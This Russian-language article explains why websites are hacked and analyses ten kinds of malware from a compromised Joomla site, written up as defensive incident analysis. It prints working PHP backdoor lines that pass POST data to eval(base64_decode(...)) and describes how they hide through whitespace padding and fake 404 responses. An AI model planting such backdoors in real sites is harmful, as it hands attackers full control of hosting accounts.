Времена, когда сайты взламывались ради забавы почти прошли. В современных реалиях сайты атакуют для извлечения прибыли. Атаковать могут абсолютно любой сайт, даже с минимальными показателями и трафиком.
Атаки на сайты могут быть как направленными, когда атакуемый сайт по определенным причинам интересен злоумышленнику, так и массовыми, когда злоумышленник пытается проэксплуатировать какую-то уязвимость, ставшую ему известной в определенной CMS.
Взлом
Вариантов взлома сайтов достаточно много. Начиная от эксплуатации уязвимостей CMS системы и сервера, до подбора паролей или рассылки троянских программ для получения сохраненных паролей от FTP и админ-панелей. Даже если ваш сайт надежно защищен — вас могут сломать через уязвимых соседей на shared-хостинге при неверно выставленных правах. Злоумышленники могут мониторить bugtraq-рассылки на появление разного рода уязвимостей т.н. нулевого дня, собирать с помощью поисковых систем и сервисов уязвимые сайты и пытаться массово атаковать.
Последствия
Обычно злоумышленники, исходя из своих целей и квалификации стараются закрепиться на взломанном ресурсе и замаскировать свое присутствие. Взлом сайта не всегда можно распознать по внешним признакам (мобильный редирект, спам-ссылки на страницах, чужие баннеры, дефейс и пр). При компрометации сайта этих внешних признаков может и не быть. Ресурс может работать в штатном режиме, без перебоев, ошибок и попадания в “черные” списки антивирусов. Но это отнюдь не означает, что сайт в безопасности. Проблема в том, что заметить факт взлома и загрузки хакерских скриптов без проведения аудита безопасности – сложно, а сами веб-шеллы, бэкдоры и другие инструменты хакера могут достаточно долго находиться на хостинге и не использоваться по назначению. Но однажды наступает момент, и они начинают сурово эксплуатироваться злоумышленником, в результате чего у владельца сайта возникают проблемы. За спам, размещение фишинговых страниц сайт блокируют на хостинге (или отключают часть функционала), а появление редиректов или вирусов на страницах чревато баном со стороны антивирусов и санкциями со стороны поисковых систем. В подобном случае необходимо в срочном порядке «лечить» сайт, а затем ставить защиту от взлома, чтобы сюжет не повторялся.
Монетизация
Что же может получить злоумышленник со взломанного сайта? В первую очередь информацию. На сайте может быть закрытый раздел, интернет-магазин может содержать базу пользователей, на сайте могут быть интегрированы сервисы с захардкожденными учетными данными сторонних систем (например смс-шлюзов с хорошим балансом) и прочее, что можно продать.
Сайт можно использовать для добычи и продажи трафика — от установки seo-ссылок, до внедрения iframe кода, ведущего на т.н. связки эксплоитов — автоматизированные системы эксплуатации уязвимостей браузеров, флеш-плеера и т.д.
В последнее время все чаще можно услышать о так называемых целенаправленных атаках (advanced persistent threat, APT) при которых взлому сайтов уделяется не последнее место. Взлом веба зачастую является т.н. точкой входа в корпоративную сеть, с веб сайта получают всю возможную информацию для проведения эффективной фишинг-компании — анализируются пользователи, мета-теги и служебная информация всех возможных документов, содержащихся на сайте. Также, сайты могут взламываться в ходе watering-hole атак. Злоумышленник атакует не основной сайт компании (который может быть отлично защищен), а смежные ресурсы — сайт партнера, биржу труда и прочие системы, которые посещают сотрудники компании. Из этих сайтов могуть быть извлечены регистрационные данные сотрудников интересующей компании, а также устанавлено вредоносное программное обеспечение для атак вида drive by download. Такого рода атаки могут заказывать недобросовестные конкуренты, правительственные организации. Также, на взломанных сайтах можно установить программное обеспечение для рассылки спама и другие программы из арсенала злоумышленников.
Зачастую, владельцы не догадываются о взломе
К сожалению, хакерские скрипты по внешним признакам или внешними сканерами не обнаруживаются. Поэтому ни антивирусы поисковых систем, ни антивирусное ПО, установленное у веб-мастера на компьютере, не сообщит о проблемах безопасности сайта. Если скрипты размещены где-нибудь в системных каталогах сайта (не в корневом и не в images) или инжектированы в существующие скрипты, случайно заметить их также не удастся.
Наши коллеги из компании Ревизиум, специализирующейся на лечении и защите сайтов от вирусов предоставили интересный кейс из своей практики.
Как гласит античная мудрость: “предупрежден значит вооружен“. Для того чтобы представлять себе “масштаб бедствия” при взломе, предлагаем познакомиться со среднестатистическим сайтом на Joomla, который был взломан в результате проведения нецелевой атаки, посмотреть, что именно хакеры загрузили на сайт и какую угрозу загруженные скрипты несут сайту, его владельцу и хостингу. Инцидент произошел в июле 2015 года.
Как это бывает на практике
Сайт работает на Joomla версии 2.5.28. Причина обращения – блокировка сайта со стороны хостинга за спам-рассылку. Кроме анализа логов почтового и веб-сервера, сайт был просканирован тремя популярными решениями для обнаружения вредоносного кода на хостинге: AI-BOLIT, Maldet и ClamAv.
Результат AI-BOLIT’а: 206 вредоносных скриптов:
Результат Maldet: 84 вредоносных файла:
Результат ClamAv: 67 вредоносных файлов:
Мы также запросили исходный вариант сайта у разработчиков и сравнили файлы с помощью системы контроля версий git. По результатам сравнения и проверки обнаруженных файлов выяснилось, что AI-BOLIT немного перестарался, то есть обнаружил все вредоносы + около 15% было “false positive” (ложных срабатываний). Clamav и Maldet обнаружили только половину всех вредоносов, поэтому можно сделать вывод, что данные антивирусы подходят для экспресс-проверки на заражение, но не подходят для “лечения” сайта. При “лечении” должны быть обнаружены и удалены все вредоносные и хакерские скрипты. Если останется хотя бы один бэкдор или веб-шелл, сайт взломают повторно.
После проведенного анализа мы разобрали функционал обнаруженных “вредоносов” и классифицировали их. Результат в таблице:
При нецелевом взломе хорошо прослеживаются паттерны заражения, то есть наличие однотипных вредоносных и хакерских скриптов, случайно разбросанных по каталогам сайта или внедренных в файлы .php. Число скриптов каждого вида, их код могут немного отличаться при каждом заражении сайта вирусами за счет обфускации и шифрования, но функционал каждого вида сохраняется. Кстати, время от времени в паттерн добавляется новый вид бэкдоров. Еще год назад не было №2 и №5.
Данный паттерн заражения характерен для CMS Joomla, Wordpress, и некоторых коммерческих CMS.
Рассмотрим каждый скрипт из данного набора
Номер 1 – бэкдор, который инжектируется (внедряется) в начало случайного файла .php. Код при просмотре не сразу можно заметить, так как он намеренно “отбит” пробельными символами вправо за пределы видимой части экрана (поэтому у нас всегда включен режим “переноса строк” в редакторе).
Данная незамысловатая запись представляет собой вызов:
if (isset($_POST[' n746521'])) {eval(base64_decode($_POST['n746521']));}
То есть будет выполнен произвольный PHP код, который закодирован в base64 и передан в переменную n746521 методом POST. Насколько опасно для сайта, если данный фрагмент останется в файле? Очень опасно, так как по сути он предоставляет злоумышленнику полный контроль над аккаунтом хостинга: через него можно выполнить любой разрешенный код PHP, создать или загрузить файлы на хостинг, разослать спам, выполнить запросы к базе данных, и многое другое. А еще данный инжект удобен для хакера тем, что не является отдельным скриптом, который можно обнаружить по логам. Запросы с вредоносной нагрузкой могут отсылаться на index.php или любой URL сайта. Поэтому данный фрагмент нужно вычистить из всех .php файлов (зараженных файлов будет от 5 до 20). У фрагмента меняется имя переменной в апострофах, остальные фрагменты — фиксированы.
Номер 2 – бэкдор-загрузчик.
Выполняет аутентификацию по передаваемому параметру, далее делает одно из двух:
- исполняет код, переданный в параметре через
@eval(base64_decode($_POST[“FFSW3525KKSfj”])) - создает файл с именем Ffhwu22313_fff555ffsd.php, сохраняет содержимое в файл и подключает его в бэкдор через @include_once, после чего удаляет. Таким образом обходит ограничение вызова eval, если он, например, заблокирован на хостинге.
Если скрипт просто открыть в браузере, то отдается статус 404 Страница не найдена. Таким образом бэкдор практически невозможно обнаружить снаружи.
Также как и №1, бэкдор позволяет получить полный контроль над аккаунтом хостинга, а в последствии, возможно, и всем сервером. Но №2 более функционален за счет обхода eval.
Хорошая новость для владельцев сайта в том, что бэкдор размещается в отдельном php скрипте, то есть его можно заметить невооруженным глазом, а также можно найти, используя find … –mtime … и find … -ctime …. Имена файлов – случайные последовательности, которые не встречаются в оригинальной версии CMS, так что при просмотре каталогов пропустить файлы будет сложно.
Номер 3 – это бэкдор-“младший брат” вредоноса №2.
Делает то же самое, но не умеет обходить запрещенный eval, то есть выполняет переданный код только через
@eval(base64_decode($_POST[‘FFSW3525KKSfj’])
Номер 4 – классический WSO веб-шелл.
Веб-шелл – это “кухонный комбайн”, который делает работу хакера удобной на хостинге. С помощью WSO шелла можно:
- смотреть конфигурацию хостинга;
- работать с файлами через удобный файловый менеджер (создавать, удалять, редактировать, скачивать и т.п.);
- работать с базой данных (изменять, удалять данные в таблицах и отправлять любые SQL запросы);
- выполнять различные строковые преобразования (кодировать, декодировать строковые значения);
- подбирать пароли (брутфорс);
- выполнять команды в режиме командной строки;
- выполнять произвольный код PHP;
- управлять сайтом (например, вставлять вирусный код в базу или файлы javascript) удаленно и автоматизированно.
Если убрать деструктивный функционал, то данным инструментом могли бы пользоваться и рядовые веб-мастера. Иногда нам кажется, что функционал панелей управления некоторых хостингов заметно уступают возможностям веб-шеллов.
Номер 5 – дорвей, загружающий контент с удаленного сервера:
Если его немного расшифровать, можно увидеть, с какого IP грузится контент и каким User Agent он “прикидывается”:
Дорвей генерирует тысячи страницы из разряда “черного SEO”. Страницы попадают в поисковый индекс и пагубно влияют на поисковую выдачу сайта, оригинальные страницы которого пессимизируются. Сайт может попасть под фильтр или полностью вылететь из поисковой выдачи.
Номер 6 – бэкдор, который принимает команды в виде зашифрованного серилизованного массива PHP:
Управляющие команды могут передаваться через POST переменные или COOKIE. Бэкдор поддерживает команды:
- “i” – выдать версию PHP и версию бэкдора;
- “e” – выполнить eval($data[“d”]) для кода, который передан в запросе.
Фрагмент расшифрованного варианта данного бэкдора:
Номер 7 – еще один бэкдор, который может размещаться как в отдельном файле размером до 400 байтов, так и инжектироваться в скрипты php. Является упрощенным вариантом №1 с теми же пагубными последствиями.
Номер 8 – дроппер руткита Mayhem. Это, пожалуй, самая опасная “нагрузка” в данном заражении.
Руткит Mayhem — серьезный вредонос для веб-серверов на ОС *nix, который превращает сервер в боевую единицу ботнета, но может работать в условиях ограниченных привилегий. Задача данного файла сгенерировать руткит и загрузить его через LD_PRELOAD. Подробный разбор дроппера можно посмотреть по ссылке и в отчете Яндекса.
Номер 9 – мощный спам-рассыльщик.
Богатый функционал позволяет рассылать спам как через стандартную функцию mail(), так и с помощью SMTP протокола через сокеты. Поддерживаются различные шаблоны писем, рассылка по списку и пр. Исходный код хорошенько обфусцирован. Фрагмент третьего шага деобфускации выглядит так:
Номер 10 – дроппер, задача которого загрузить с удаленного сервера исполняемый шелл-файл, запустить его и по завершении удалить. С этого скрипта обычно начинается взлом сайта.
Сайт, с которого дроппер загружает шелл, также взломанный. В данном случае он используется в качестве хостинга вредоносного кода. Спустя несколько часов шелл-файл по данному адресу перестает быть доступен, поэтому определить, какой именно код выполнялся при загрузке не представляется возможным.
Как можно заметить, здесь нет ни одного вируса или редиректа, то есть сайт после взлома не начал распространять вредоносный код, перенаправлять посетителей, показывать баннеры, не появилось фишиновых страниц и т.п. и «снаружи» заметить взлом можно было только спустя пару месяцев, когда в поисковый индекс попадут дорвей-страницы.
Хотелось бы отметить, что разобранный в статье пример не является каким-то особо сложным и коварным следствием взлома сайта. На большинстве сайтов, взломанных в результате нецелевой атаки, наблюдается примерно то же самое. Хорошая новость в том, что теперь вы знаете, с чем придется иметь дело. Как гласит мудрость — “предупрежден значит вооружен“.
